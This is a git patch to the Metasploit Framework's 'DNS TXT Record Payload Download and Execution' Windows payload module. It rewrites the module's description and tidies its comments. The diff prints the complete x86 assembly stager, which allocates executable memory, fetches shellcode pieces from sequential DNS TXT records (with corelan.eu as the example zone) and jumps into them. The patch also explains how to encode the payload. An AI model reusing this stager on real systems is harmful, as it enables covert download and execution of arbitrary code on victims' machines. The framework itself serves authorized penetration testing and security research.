From 1d3d3419f6800bf75146d8dce5357d757037ac81 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 6 Dec 2024 14:26:44 -0500 Subject: [PATCH] Clarify documentation in dns_txt_query_exec --- .../singles/windows/dns_txt_query_exec.rb | 136 +++++++++--------- 1 file changed, 71 insertions(+), 65 deletions(-) diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index 1ec1341b7cee..0b0ff5ef28ab 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -14,7 +14,13 @@ module MetasploitModule def initialize(info = {}) super(merge_info(info, 'Name' => 'DNS TXT Record Payload Download and Execution', - 'Description' => 'Performs a TXT query against a series of DNS record(s) and executes the returned payload', + 'Description' => %q{ + Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE + option is used as the base name to iterate over. The payload will first request the TXT contents of the a + hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly + 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using + x86/alpha_mixed with the BufferRegister option set to EDI. + }, 'Author' => [ 'corelanc0d3r ' @@ -54,116 +60,116 @@ def initialize(info = {}) # (Example will show a messagebox) # # DNS TXT Records : - # a.corelan.eu : contains first 255 bytes of the alpha shellcode - # b.corelan.eu : contains the next 255 bytes of the alpha shellcode - # c.corelan.eu : contains the last 144 bytes of the alpha shellcode + # a.corelan.eu : contains first 255 bytes of the alpha shellcode + # b.corelan.eu : contains the next 255 bytes of the alpha shellcode + # c.corelan.eu : contains the last 144 bytes of the alpha shellcode def generate(_opts = {}) - dnsname = datastore['DNSZONE'] - wType = 0x0010 #DNS_TYPE_TEXT (TEXT) - wTypeOffset = 0x1c + dnsname = datastore['DNSZONE'] + wType = 0x0010 #DNS_TYPE_TEXT (TEXT) + wTypeOffset = 0x1c - queryoptions = 0x248 + queryoptions = 0x248 # DNS_QUERY_RETURN_MESSAGE (0x200) # DNS_QUERY_BYPASS_CACHE (0x08) # DNS_QUERY_NO_HOSTS_FILE (0x40) # DNS_QUERY_ONLY_TCP (0x02) <- not used atm - bufferreg = "edi" + bufferreg = "edi" #create actual payload payload_data = %Q^ - cld ; clear direction flag - call start ; start main routine + cld ; clear direction flag + call start ; start main routine #{asm_block_api} ; actual routine start: - pop ebp ; get ptr to block_api routine + pop ebp ; get ptr to block_api routine ; first allocate some space in heap to hold payload alloc_space: - xor eax,eax ; clear EAX - push 0x40 ; flProtect (RWX) - mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes) - push eax ; flAllocationType MEM_COMMIT (0x1000) - push eax ; dwSize (0x1000) - push 0x0 ; lpAddress - push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAlloc")} ; kernel32.dll!VirtualAlloc + xor eax,eax ; clear EAX + push 0x40 ; flProtect (RWX) + mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes) + push eax ; flAllocationType MEM_COMMIT (0x1000) + push eax ; dwSize (0x1000) + push 0x0 ; lpAddress + push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAlloc")} call ebp - push eax ; save pointer on stack, will be used in memcpy - mov #{bufferreg}, eax ; save pointer, to jump to at the end + push eax ; save pointer on stack, will be used in memcpy + mov #{bufferreg}, eax ; save pointer, to jump to at the end - ;load dnsapi.dll + ; load dnsapi.dll load_dnsapi: - xor eax,eax ; put part of string (hex) in eax + xor eax,eax ; put part of string (hex) in eax mov al,0x70 mov ah,0x69 - push eax ; Push 'dnsapi' to the stack - push 0x61736e64 ; ... - push esp ; Push a pointer to the 'dnsapi' string on the stack. - push #{Rex::Text.block_api_hash("kernel32.dll", "LoadLibraryA")} ; kernel32.dll!LoadLibraryA - call ebp ; LoadLibraryA( "dnsapi" ) + push eax ; push 'dnsapi' to the stack + push 0x61736e64 ; ... + push esp ; Push a pointer to the 'dnsapi' string on the stack. + push #{Rex::Text.block_api_hash("kernel32.dll", "LoadLibraryA")} + call ebp ; LoadLibraryA( "dnsapi" ) ;prepare for loop of queries - mov bl,0x61 ; first query, start with 'a' + mov bl,0x61 ; first query, start with 'a' dnsquery: - jmp.i8 get_dnsname ; get dnsname + jmp.i8 get_dnsname ; get dnsname get_dnsname_return: - pop eax ; get ptr to dnsname (lpstrName) - mov [eax],bl ; patch sequence number in place - xchg esi,ebx ; save sequence number - push esp ; prepare ppQueryResultsSet - pop ebx ; (put ptr to ptr to stack on stack) + pop eax ; get ptr to dnsname (lpstrName) + mov [eax],bl ; patch sequence number in place + xchg esi,ebx ; save sequence number + push esp ; prepare ppQueryResultsSet + pop ebx ; (put ptr to ptr to stack on stack) sub ebx,4 push ebx - push 0x0 ; pReserved - push ebx ; ppQueryResultsSet - push 0x0 ; pExtra - push #{queryoptions} ; Options - push #{wType} ; wType - push eax ; lpstrName - push #{Rex::Text.block_api_hash("dnsapi.dll", "DnsQuery_A")} ; dnsapi.dll!DnsQuery_A - call ebp ; - test eax, eax ; query ok ? - jnz jump_to_payload ; no, jump to payload - jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it + push 0x0 ; pReserved + push ebx ; ppQueryResultsSet + push 0x0 ; pExtra + push #{queryoptions} ; Options + push #{wType} ; wType + push eax ; lpstrName + push #{Rex::Text.block_api_hash("dnsapi.dll", "DnsQuery_A")} + call ebp ; + test eax, eax ; query ok? + jnz jump_to_payload ; no, jump to payload + jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it get_dnsname: call get_dnsname_return db "a.#{dnsname}", 0x00 get_query_result: - xchg #{bufferreg},edx ; save start of heap - pop #{bufferreg} ; heap structure containing DNS results - mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1 - cmp eax,1 - jne prepare_payload ; jmp to payload - add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply + xchg #{bufferreg},edx ; save start of heap + pop #{bufferreg} ; heap structure containing DNS results (DNS_TXT_DATAA) + mov eax,[#{bufferreg}+0x18] ; check the number of strings in the response + cmp eax,1 ; skip if there's not exactly 1 string in the response + jne prepare_payload ; jmp to payload + add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply copy_piece_to_heap: - xchg ebx,esi ; save counter - mov esi,edi ; set source - mov edi,[esp+0x8] ; retrieve heap destination for memcpy - xor ecx,ecx ; clear ecx - mov cl,0xff ; always copy 255 bytes, no matter what - rep movsb ; copy from ESI to EDI - push edi ; save target for next copy - push edi ; 2 more times to make sure it's at esp+8 - push edi ; - inc ebx ; increment sequence - xchg #{bufferreg},edx ; restore start of heap - jmp.i8 dnsquery ; try to get the next piece, if any + xchg ebx,esi ; save counter + mov esi,edi ; set source + mov edi,[esp+0x8] ; retrieve heap destination for memcpy + xor ecx,ecx ; clear ecx + mov cl,0xff ; always copy 255 bytes, no matter what + rep movsb ; copy from ESI to EDI + push edi ; save target for next copy + push edi ; 2 more times to make sure it's at esp+8 + push edi ; + inc ebx ; increment sequence + xchg #{bufferreg},edx ; restore start of heap + jmp.i8 dnsquery ; try to get the next piece, if any prepare_payload: mov #{bufferreg},edx jump_to_payload: - jmp #{bufferreg} ; jump to it + jmp #{bufferreg} ; jump to it ^ self.assembly = payload_data super